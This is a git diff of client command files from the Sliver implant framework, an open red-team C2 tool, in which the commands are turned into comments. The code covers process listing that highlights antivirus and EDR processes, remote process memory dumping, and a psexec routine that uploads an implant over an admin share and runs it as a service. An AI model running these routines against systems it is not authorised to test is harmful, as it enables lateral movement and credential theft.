-func ps(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
-
- pidFilter := ctx.Flags.Int("pid")
- exeFilter := ctx.Flags.String("exe")
- ownerFilter := ctx.Flags.String("owner")
-
- ps, err := rpc.Ps(context.Background(), &sliverpb.PsReq{
- Request: ActiveSession.Request(ctx),
- })
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
-
- outputBuf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', tabwriter.DiscardEmptyColumns)
-
- switch session.GetOS() {
- case "windows":
- fmt.Fprintf(table, "pid\tppid\towner\texecutable\tsession\n")
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
- strings.Repeat("=", len("pid")),
- strings.Repeat("=", len("ppid")),
- strings.Repeat("=", len("owner")),
- strings.Repeat("=", len("executable")),
- strings.Repeat("=", len("session")),
- )
- case "darwin":
- fallthrough
- case "linux":
- fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n")
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
- strings.Repeat("=", len("pid")),
- strings.Repeat("=", len("ppid")),
- strings.Repeat("=", len("owner")),
- strings.Repeat("=", len("executable")),
- )
- default:
- fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n")
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
- strings.Repeat("=", len("pid")),
- strings.Repeat("=", len("ppid")),
- strings.Repeat("=", len("owner")),
- strings.Repeat("=", len("executable")),
- )
- }
- cmdLine := ctx.Flags.Bool("print-cmdline")
- lineColors := []string{}
- for _, proc := range ps.Processes {
- var lineColor = ""
- if pidFilter != -1 && proc.Pid == int32(pidFilter) {
- lineColor = printProcInfo(table, proc, cmdLine)
- }
- if exeFilter != "" && strings.HasPrefix(proc.Executable, exeFilter) {
- lineColor = printProcInfo(table, proc, cmdLine)
- }
- if ownerFilter != "" && strings.HasPrefix(proc.Owner, ownerFilter) {
- lineColor = printProcInfo(table, proc, cmdLine)
- }
- if pidFilter == -1 && exeFilter == "" && ownerFilter == "" {
- lineColor = printProcInfo(table, proc, cmdLine)
- }
-
- // Should be set to normal/green if we rendered the line
- if lineColor != "" {
- lineColors = append(lineColors, lineColor)
- }
- }
- table.Flush()
-
- for index, line := range strings.Split(outputBuf.String(), "\n") {
- if len(line) == 0 {
- continue
- }
- // We need to account for the two rows of column headers
- if 0 < len(line) && 2 <= index {
- lineColor := lineColors[index-2]
- fmt.Printf("%s%s%s\n", lineColor, line, normal)
- } else {
- fmt.Printf("%s\n", line)
- }
- }
-
-}
-
-// printProcInfo - Stylizes the process information
-func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool) string {
- color := normal
- if modifyColor, ok := knownProcs[proc.Executable]; ok {
- color = modifyColor
- }
- session := ActiveSession.GetInteractive()
- if session != nil && proc.Pid == session.PID {
- color = green
- }
- switch session.GetOS() {
- case "windows":
- fmt.Fprintf(table, "%d\t%d\t%s\t%s\t%d\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable, proc.SessionID)
- case "darwin":
- fallthrough
- case "linux":
- fallthrough
- default:
- if cmdLine {
- var args string
- if len(proc.CmdLine) >= 2 {
- args = strings.Join(proc.CmdLine, " ")
- } else {
- args = proc.Executable
- }
- fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, args)
- } else {
- fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable)
- }
- }
- return color
-}
-
-func procdump(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
-
- pid := ctx.Flags.Int("pid")
- name := ctx.Flags.String("name")
-
- if pid == -1 && name != "" {
- pid = getPIDByName(ctx, name, rpc)
- }
- if pid == -1 {
- fmt.Printf(Warn + "Invalid process target\n")
- return
- }
-
- if ctx.Flags.Int("timeout") < 1 {
- fmt.Printf(Warn + "Invalid timeout argument\n")
- return
- }
-
- ctrl := make(chan bool)
- go spin.Until("Dumping remote process memory ...", ctrl)
- dump, err := rpc.ProcessDump(context.Background(), &sliverpb.ProcessDumpReq{
- Request: ActiveSession.Request(ctx),
- Pid: int32(pid),
- Timeout: int32(ctx.Flags.Int("timeout") - 1),
- })
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"Error %s", err)
- return
- }
-
- hostname := session.Hostname
- tmpFileName := path.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
- tmpFile, err := ioutil.TempFile("", tmpFileName)
- if err != nil {
- fmt.Printf(Warn+"Error creating temporary file: %v\n", err)
- return
- }
- tmpFile.Write(dump.GetData())
- fmt.Printf(Info+"Process dump stored in: %s\n", tmpFile.Name())
-}
-
-func terminate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
-
- pid := ctx.Args.Uint("pid")
- terminated, err := rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
- Request: ActiveSession.Request(ctx),
- Pid: int32(pid),
- Force: ctx.Flags.Bool("force"),
- })
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- } else {
- fmt.Printf(Info+"Process %d has been terminated\n", terminated.Pid)
- }
-
-}
-
-func getPIDByName(ctx *grumble.Context, name string, rpc rpcpb.SliverRPCClient) int {
- ps, err := rpc.Ps(context.Background(), &sliverpb.PsReq{
- Request: ActiveSession.Request(ctx),
- })
- if err != nil {
- return -1
- }
- for _, proc := range ps.Processes {
- if proc.Executable == name {
- return int(proc.Pid)
- }
- }
- return -1
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "bytes"
+// "context"
+// "fmt"
+// "io/ioutil"
+// "path"
+// "strings"
+// "text/tabwriter"
+
+// // "time"
+
+// "github.com/bishopfox/sliver/client/spin"
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+
+// "github.com/desertbit/grumble"
+// )
+
+// var (
+// // Stylizes known processes in the `ps` command
+// knownProcs = map[string]string{
+// "ccSvcHst.exe": red, // SEP
+// "cb.exe": red, // Carbon Black
+// "MsMpEng.exe": red, // Windows Defender
+// "smartscreen.exe": red, // Windows Defender Smart Screen
+// }
+// )
+
+// func ps(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+
+// pidFilter := ctx.Flags.Int("pid")
+// exeFilter := ctx.Flags.String("exe")
+// ownerFilter := ctx.Flags.String("owner")
+
+// ps, err := rpc.Ps(context.Background(), &sliverpb.PsReq{
+// Request: ActiveSession.Request(ctx),
+// })
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+
+// outputBuf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', tabwriter.DiscardEmptyColumns)
+
+// switch session.GetOS() {
+// case "windows":
+// fmt.Fprintf(table, "pid\tppid\towner\texecutable\tsession\n")
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("pid")),
+// strings.Repeat("=", len("ppid")),
+// strings.Repeat("=", len("owner")),
+// strings.Repeat("=", len("executable")),
+// strings.Repeat("=", len("session")),
+// )
+// case "darwin":
+// fallthrough
+// case "linux":
+// fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n")
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("pid")),
+// strings.Repeat("=", len("ppid")),
+// strings.Repeat("=", len("owner")),
+// strings.Repeat("=", len("executable")),
+// )
+// default:
+// fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n")
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("pid")),
+// strings.Repeat("=", len("ppid")),
+// strings.Repeat("=", len("owner")),
+// strings.Repeat("=", len("executable")),
+// )
+// }
+// cmdLine := ctx.Flags.Bool("print-cmdline")
+// lineColors := []string{}
+// for _, proc := range ps.Processes {
+// var lineColor = ""
+// if pidFilter != -1 && proc.Pid == int32(pidFilter) {
+// lineColor = printProcInfo(table, proc, cmdLine)
+// }
+// if exeFilter != "" && strings.HasPrefix(proc.Executable, exeFilter) {
+// lineColor = printProcInfo(table, proc, cmdLine)
+// }
+// if ownerFilter != "" && strings.HasPrefix(proc.Owner, ownerFilter) {
+// lineColor = printProcInfo(table, proc, cmdLine)
+// }
+// if pidFilter == -1 && exeFilter == "" && ownerFilter == "" {
+// lineColor = printProcInfo(table, proc, cmdLine)
+// }
+
+// // Should be set to normal/green if we rendered the line
+// if lineColor != "" {
+// lineColors = append(lineColors, lineColor)
+// }
+// }
+// table.Flush()
+
+// for index, line := range strings.Split(outputBuf.String(), "\n") {
+// if len(line) == 0 {
+// continue
+// }
+// // We need to account for the two rows of column headers
+// if 0 < len(line) && 2 <= index {
+// lineColor := lineColors[index-2]
+// fmt.Printf("%s%s%s\n", lineColor, line, normal)
+// } else {
+// fmt.Printf("%s\n", line)
+// }
+// }
+
+// }
+
+// // printProcInfo - Stylizes the process information
+// func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool) string {
+// color := normal
+// if modifyColor, ok := knownProcs[proc.Executable]; ok {
+// color = modifyColor
+// }
+// session := ActiveSession.GetInteractive()
+// if session != nil && proc.Pid == session.PID {
+// color = green
+// }
+// switch session.GetOS() {
+// case "windows":
+// fmt.Fprintf(table, "%d\t%d\t%s\t%s\t%d\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable, proc.SessionID)
+// case "darwin":
+// fallthrough
+// case "linux":
+// fallthrough
+// default:
+// if cmdLine {
+// var args string
+// if len(proc.CmdLine) >= 2 {
+// args = strings.Join(proc.CmdLine, " ")
+// } else {
+// args = proc.Executable
+// }
+// fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, args)
+// } else {
+// fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable)
+// }
+// }
+// return color
+// }
+
+// func procdump(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+
+// pid := ctx.Flags.Int("pid")
+// name := ctx.Flags.String("name")
+
+// if pid == -1 && name != "" {
+// pid = getPIDByName(ctx, name, rpc)
+// }
+// if pid == -1 {
+// fmt.Printf(Warn + "Invalid process target\n")
+// return
+// }
+
+// if ctx.Flags.Int("timeout") < 1 {
+// fmt.Printf(Warn + "Invalid timeout argument\n")
+// return
+// }
+
+// ctrl := make(chan bool)
+// go spin.Until("Dumping remote process memory ...", ctrl)
+// dump, err := rpc.ProcessDump(context.Background(), &sliverpb.ProcessDumpReq{
+// Request: ActiveSession.Request(ctx),
+// Pid: int32(pid),
+// Timeout: int32(ctx.Flags.Int("timeout") - 1),
+// })
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"Error %s", err)
+// return
+// }
+
+// hostname := session.Hostname
+// tmpFileName := path.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
+// tmpFile, err := ioutil.TempFile("", tmpFileName)
+// if err != nil {
+// fmt.Printf(Warn+"Error creating temporary file: %v\n", err)
+// return
+// }
+// tmpFile.Write(dump.GetData())
+// fmt.Printf(Info+"Process dump stored in: %s\n", tmpFile.Name())
+// }
+
+// func terminate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+
+// pid := ctx.Args.Uint("pid")
+// terminated, err := rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+// Request: ActiveSession.Request(ctx),
+// Pid: int32(pid),
+// Force: ctx.Flags.Bool("force"),
+// })
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// } else {
+// fmt.Printf(Info+"Process %d has been terminated\n", terminated.Pid)
+// }
+
+// }
+
+// func getPIDByName(ctx *grumble.Context, name string, rpc rpcpb.SliverRPCClient) int {
+// ps, err := rpc.Ps(context.Background(), &sliverpb.PsReq{
+// Request: ActiveSession.Request(ctx),
+// })
+// if err != nil {
+// return -1
+// }
+// for _, proc := range ps.Processes {
+// if proc.Executable == name {
+// return int(proc.Pid)
+// }
+// }
+// return -1
+// }
diff --git a/client/command/psexec.go b/client/command/psexec.go
index 7e2521f775..dfa9697ec0 100644
--- a/client/command/psexec.go
+++ b/client/command/psexec.go
@@ -1,168 +1,168 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2021 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2021 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "context"
- "fmt"
- "math/rand"
- "strings"
- "time"
+// import (
+// "context"
+// "fmt"
+// "math/rand"
+// "strings"
+// "time"
- "github.com/bishopfox/sliver/client/spin"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
- "github.com/bishopfox/sliver/util/encoders"
- "github.com/desertbit/grumble"
-)
+// "github.com/bishopfox/sliver/client/spin"
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+// "github.com/bishopfox/sliver/util/encoders"
+// "github.com/desertbit/grumble"
+// )
-func psExec(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- fmt.Printf(Warn + "Please select an active session via `use`")
- return
- }
+// func psExec(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// fmt.Printf(Warn + "Please select an active session via `use`")
+// return
+// }
- hostname := ctx.Args.String("hostname")
- if hostname == "" {
- fmt.Println(Warn + "you need to provide a target host, see `help psexec` for examples")
- return
- }
- profile := ctx.Flags.String("profile")
- serviceName := ctx.Flags.String("service-name")
- serviceDesc := ctx.Flags.String("service-description")
- binPath := ctx.Flags.String("binpath")
- uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
+// hostname := ctx.Args.String("hostname")
+// if hostname == "" {
+// fmt.Println(Warn + "you need to provide a target host, see `help psexec` for examples")
+// return
+// }
+// profile := ctx.Flags.String("profile")
+// serviceName := ctx.Flags.String("service-name")
+// serviceDesc := ctx.Flags.String("service-description")
+// binPath := ctx.Flags.String("binpath")
+// uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
- if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
- fmt.Printf(Warn+"Warning: you're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
- fmt.Println(Warn + "You might want to change that before going further...")
- if !isUserAnAdult() {
- return
- }
- }
+// if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
+// fmt.Printf(Warn+"Warning: you're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
+// fmt.Println(Warn + "You might want to change that before going further...")
+// if !IsUserAnAdult() {
+// return
+// }
+// }
- if profile == "" {
- fmt.Println(Warn + "you need to pass a profile name, see `help psexec` for more info")
- return
- }
+// if profile == "" {
+// fmt.Println(Warn + "you need to pass a profile name, see `help psexec` for more info")
+// return
+// }
- // generate sliver
- generateCtrl := make(chan bool)
- go spin.Until(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
- profiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"Error: %v\n", err)
- return
- }
- generateCtrl <- true
- <-generateCtrl
- var p *clientpb.ImplantProfile
- for _, prof := range profiles.Profiles {
- if prof.Name == profile {
- p = prof
- }
- }
- if p.GetName() == "" {
- fmt.Printf(Warn+"no profile found for name %s\n", profile)
- return
- }
- sliverBinary, err := getSliverBinary(p, rpc)
- filename := randomString(10)
- filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
- uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
- // upload to remote target
- uploadCtrl := make(chan bool)
- go spin.Until("Uploading service binary ...", uploadCtrl)
- upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{
- Encoder: "gzip",
- Data: uploadGzip,
- Path: filePath,
- Request: ActiveSession.Request(ctx),
- })
- uploadCtrl <- true
- <-uploadCtrl
- if err != nil {
- fmt.Printf(Warn+"Error: %s\n", err)
- return
- }
- fmt.Printf(Info+"Uploaded service binary to %s\n", upload.GetPath())
- fmt.Println(Info + "Waiting a bit for the file to be analyzed ...")
- // Looks like starting the service right away often fails
- // because a process is already using the binary.
- // I suspect that Defender on my lab is holding access
- // while scanning, which often resulted in an error.
- // Waiting 5 seconds seem to do the trick here.
- time.Sleep(5 * time.Second)
- // start service
- binaryPath := fmt.Sprintf(`%s\%s.exe`, binPath, filename)
- serviceCtrl := make(chan bool)
- go spin.Until("Starting service ...", serviceCtrl)
- start, err := rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
- BinPath: binaryPath,
- Hostname: hostname,
- Request: ActiveSession.Request(ctx),
- ServiceDescription: serviceDesc,
- ServiceName: serviceName,
- Arguments: "",
- })
- serviceCtrl <- true
- <-serviceCtrl
- if err != nil {
- fmt.Printf(Warn+"Error: %v\n", err)
- return
- }
- if start.Response != nil && start.Response.Err != "" {
- fmt.Printf(Warn+"Error: %s", start.Response.Err)
- return
- }
- fmt.Printf(Info+"Successfully started service on %s (%s)\n", hostname, binaryPath)
- removeChan := make(chan bool)
- go spin.Until("Removing service ...", removeChan)
- removed, err := rpc.RemoveService(context.Background(), &sliverpb.RemoveServiceReq{
- ServiceInfo: &sliverpb.ServiceInfoReq{
- Hostname: hostname,
- ServiceName: serviceName,
- },
- Request: ActiveSession.Request(ctx),
- })
- removeChan <- true
- <-removeChan
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- if removed.Response != nil && removed.Response.Err != "" {
- fmt.Printf(Warn+"Error: %s\n", removed.Response.Err)
- return
- }
- fmt.Printf(Info+"Successfully removed service %s on %s\n", serviceName, hostname)
-}
+// // generate sliver
+// generateCtrl := make(chan bool)
+// go spin.Until(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
+// profiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v\n", err)
+// return
+// }
+// generateCtrl <- true
+// <-generateCtrl
+// var p *clientpb.ImplantProfile
+// for _, prof := range profiles.Profiles {
+// if prof.Name == profile {
+// p = prof
+// }
+// }
+// if p.GetName() == "" {
+// fmt.Printf(Warn+"no profile found for name %s\n", profile)
+// return
+// }
+// sliverBinary, err := getSliverBinary(p, rpc)
+// filename := randomString(10)
+// filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
+// uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+// // upload to remote target
+// uploadCtrl := make(chan bool)
+// go spin.Until("Uploading service binary ...", uploadCtrl)
+// upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{
+// Encoder: "gzip",
+// Data: uploadGzip,
+// Path: filePath,
+// Request: ActiveSession.Request(ctx),
+// })
+// uploadCtrl <- true
+// <-uploadCtrl
+// if err != nil {
+// fmt.Printf(Warn+"Error: %s\n", err)
+// return
+// }
+// fmt.Printf(Info+"Uploaded service binary to %s\n", upload.GetPath())
+// fmt.Println(Info + "Waiting a bit for the file to be analyzed ...")
+// // Looks like starting the service right away often fails
+// // because a process is already using the binary.
+// // I suspect that Defender on my lab is holding access
+// // while scanning, which often resulted in an error.
+// // Waiting 5 seconds seem to do the trick here.
+// time.Sleep(5 * time.Second)
+// // start service
+// binaryPath := fmt.Sprintf(`%s\%s.exe`, binPath, filename)
+// serviceCtrl := make(chan bool)
+// go spin.Until("Starting service ...", serviceCtrl)
+// start, err := rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
+// BinPath: binaryPath,
+// Hostname: hostname,
+// Request: ActiveSession.Request(ctx),
+// ServiceDescription: serviceDesc,
+// ServiceName: serviceName,
+// Arguments: "",
+// })
+// serviceCtrl <- true
+// <-serviceCtrl
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v\n", err)
+// return
+// }
+// if start.Response != nil && start.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %s", start.Response.Err)
+// return
+// }
+// fmt.Printf(Info+"Successfully started service on %s (%s)\n", hostname, binaryPath)
+// removeChan := make(chan bool)
+// go spin.Until("Removing service ...", removeChan)
+// removed, err := rpc.RemoveService(context.Background(), &sliverpb.RemoveServiceReq{
+// ServiceInfo: &sliverpb.ServiceInfoReq{
+// Hostname: hostname,
+// ServiceName: serviceName,
+// },
+// Request: ActiveSession.Request(ctx),
+// })
+// removeChan <- true
+// <-removeChan
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// if removed.Response != nil && removed.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %s\n", removed.Response.Err)
+// return
+// }
+// fmt.Printf(Info+"Successfully removed service %s on %s\n", serviceName, hostname)
+// }
-func randomString(length int) string {
- var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
- var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
- b := make([]byte, length)
- for i := range b {
- b[i] = charset[seededRand.Intn(len(charset))]
- }
- return string(b)
-}
+// func randomString(length int) string {
+// var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+// var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
+// b := make([]byte, length)
+// for i := range b {
+// b[i] = charset[seededRand.Intn(len(charset))]
+// }
+// return string(b)
+// }
diff --git a/client/command/registry.go b/client/command/registry.go
index 8909788a84..1e02a975c0 100644
--- a/client/command/registry.go
+++ b/client/command/registry.go
@@ -1,275 +1,275 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2021 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2021 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "context"
- "encoding/hex"
- "fmt"
- "io/ioutil"
- "strconv"
- "strings"
+// import (
+// "context"
+// "encoding/hex"
+// "fmt"
+// "io/ioutil"
+// "strconv"
+// "strings"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
- "github.com/desertbit/grumble"
-)
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+// "github.com/desertbit/grumble"
+// )
-var validHives = []string{
- "HKCU",
- "HKLM",
- "HKCC",
- "HKPD",
- "HKU",
- "HKCR",
-}
+// var validHives = []string{
+// "HKCU",
+// "HKLM",
+// "HKCC",
+// "HKPD",
+// "HKU",
+// "HKCR",
+// }
-var validTypes = []string{
- "binary",
- "dword",
- "qword",
- "string",
-}
+// var validTypes = []string{
+// "binary",
+// "dword",
+// "qword",
+// "string",
+// }
-func checkHive(hive string) error {
- for _, h := range validHives {
- if h == hive {
- return nil
- }
- }
- return fmt.Errorf("invalid hive %s", hive)
-}
+// func checkHive(hive string) error {
+// for _, h := range validHives {
+// if h == hive {
+// return nil
+// }
+// }
+// return fmt.Errorf("invalid hive %s", hive)
+// }
-func getType(t string) (uint32, error) {
- var res uint32
- switch t {
- case "binary":
- res = sliverpb.RegistryTypeBinary
- case "dword":
- res = sliverpb.RegistryTypeDWORD
- case "qword":
- res = sliverpb.RegistryTypeQWORD
- case "string":
- res = sliverpb.RegistryTypeString
- default:
- return res, fmt.Errorf("invalid type %s", t)
- }
- return res, nil
-}
+// func getType(t string) (uint32, error) {
+// var res uint32
+// switch t {
+// case "binary":
+// res = sliverpb.RegistryTypeBinary
+// case "dword":
+// res = sliverpb.RegistryTypeDWORD
+// case "qword":
+// res = sliverpb.RegistryTypeQWORD
+// case "string":
+// res = sliverpb.RegistryTypeString
+// default:
+// return res, fmt.Errorf("invalid type %s", t)
+// }
+// return res, nil
+// }
-// registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version"
-func registryReadCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
+// // registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version"
+// func registryReadCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
- if session.OS != "windows" {
- fmt.Printf(Warn + "Error: command not supported on this operating system.")
- return
- }
+// if session.OS != "windows" {
+// fmt.Printf(Warn + "Error: command not supported on this operating system.")
+// return
+// }
- hostname := ctx.Flags.String("hostname")
- hive := ctx.Flags.String("hive")
- if err := checkHive(hive); err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
+// hostname := ctx.Flags.String("hostname")
+// hive := ctx.Flags.String("hive")
+// if err := checkHive(hive); err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
- regPath := ctx.Args.String("registry-path")
- if regPath == "" {
- fmt.Printf(Warn + "you must provide a path")
- return
- }
- if strings.Contains(regPath, "/") {
- regPath = strings.ReplaceAll(regPath, "/", "\\")
- }
- slashIndex := strings.LastIndex(regPath, "\\")
- key := regPath[slashIndex+1:]
- regPath = regPath[:slashIndex]
- regRead, err := rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
- Hive: hive,
- Path: regPath,
- Key: key,
- Hostname: hostname,
- Request: ActiveSession.Request(ctx),
- })
+// regPath := ctx.Args.String("registry-path")
+// if regPath == "" {
+// fmt.Printf(Warn + "you must provide a path")
+// return
+// }
+// if strings.Contains(regPath, "/") {
+// regPath = strings.ReplaceAll(regPath, "/", "\\")
+// }
+// slashIndex := strings.LastIndex(regPath, "\\")
+// key := regPath[slashIndex+1:]
+// regPath = regPath[:slashIndex]
+// regRead, err := rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
+// Hive: hive,
+// Path: regPath,
+// Key: key,
+// Hostname: hostname,
+// Request: ActiveSession.Request(ctx),
+// })
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
- if regRead.Response != nil && regRead.Response.Err != "" {
- fmt.Printf(Warn+"Error: %s", regRead.Response.Err)
- return
- }
- fmt.Println(regRead.Value)
-}
+// if regRead.Response != nil && regRead.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %s", regRead.Response.Err)
+// return
+// }
+// fmt.Println(regRead.Value)
+// }
-// registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
